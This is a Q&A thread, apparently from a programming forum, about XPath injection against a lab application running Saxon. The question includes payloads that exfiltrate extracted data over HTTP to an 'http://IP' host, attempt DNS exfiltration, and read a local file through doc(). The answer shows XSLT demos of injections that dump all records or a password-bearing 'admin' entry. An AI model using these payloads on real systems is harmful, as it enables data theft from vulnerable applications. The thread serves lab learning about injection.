xpath injections and doc() function - xpath

Question

I'm trying to understand how to use the doc() function of xpath in several ways to carry out xpath injections
Lab's query:
String xquery = "/root/books/book[contains(title/text(), '" + query + "')]";
I can use both versions 2.0 and 3.0
I'm able to extract data and export it through HTTP, for example:
test') and doc((concat('http://IP/data/?d=',(encode-for-uri((normalize-space((/*[1]/*[2]/*[2]/#*[2]))))))))/data=220248 and string('1'='1
But i'm not able to:
Extract data and export it through DNS requests:
test') and doc((concat(name((/[2])) , 'domain.com'))) and string('1'='1* -> it does not give any error, but nothing happens ( i don't know why stackoverflow strips the * from /*[2] )
Read a local xml file ( file's permissions are fine )
test') and doc('file:///home/lubuntu/test.xml')/text() and string('1'='1 -> it says file not found, when it is clearly there..
What is wrong in my payloads?
#updates
xpath processor: net.sf.saxon
os: Linux lubuntu 4.18.0-17-generic #18~18.04.1-Ubuntu
JAVA_HOME=/usr/local/openjdk-11
JAVA_VERSION=11.0.9.1
LANG=C.UTF-8
#about the file reading: problem solved. the lab was running inside of a docker
#about the data exfiltration via dns requests, i still can't figure it out why nothing happens. I tried also basic injection like doc((concat('ABCTEST', '.domain.com' ))) and string('1'='1 but still nothing happens..

Answer 1

It is difficult to understand what exactly you are trying to achieve.
Here is a simple example of XPath injection in XSLT/XPath 3.0 using as a base the fact that:
contains($anyString), '') eq true()
Xml document:
<x>
<root>
<books>
<book>
<title>Book1</title>
</book>
<book>
<title>Book2</title>
</book>
<book>
<title>Book3</title>
</book>
</books>
</root>
</x>
XSLT stylesheet:
<xsl:stylesheet version="3.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output omit-xml-declaration="yes" indent="yes"/>
<xsl:template match="/">
<xsl:variable name="query">'</xsl:variable>
<xsl:variable name="vXpath1">/x/root/books/book[contains(title/text(), '</xsl:variable>
<xsl:variable name="vXpath2" select="$vXpath1 || $query || ')]'"/>
<xsl:evaluate xpath="$vXpath2" context-item="/" />
</xsl:template>
</xsl:stylesheet>
and finally, the result of applying the transformation on the Xml document:
<book>
<title>Book1</title>
</book>
<book>
<title>Book2</title>
</book>
<book>
<title>Book3</title>
</book>
Explanation:
We were able to get all <book> elements of the document and not only one of them that contains a particular string (the password :) ) in its <title>
Update
Here is another example:
we have a slightly different XML document:
<x>
<root>
<books>
<book name="regular">
<title>Book1 with password: regular</title>
</book>
<book name="admin">
<title>Admin with password: SuperSecret</title>
</book>
<book name="maintainer">
<title>Book3 with password: maintainer</title>
</book>
</books>
</root>
</x>
And the transformation now is (only $query is changed):
<xsl:stylesheet version="3.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output omit-xml-declaration="yes" indent="yes"/>
<xsl:template match="/">
<xsl:variable name="query">') and #name eq "admin" and true(</xsl:variable>
<xsl:variable name="vXpath1">/x/root/books/book[contains(title/text(), '</xsl:variable>
<xsl:variable name="vXpath2" select="$vXpath1 || $query || ')]'"/>
<xsl:evaluate xpath="$vXpath2" context-item="/" />
</xsl:template>
</xsl:stylesheet>
Now the result is that we get exactly the <book> element with the desired name "admin":
<book name="admin">
<title>Admin with password: SuperSecret</title>
</book>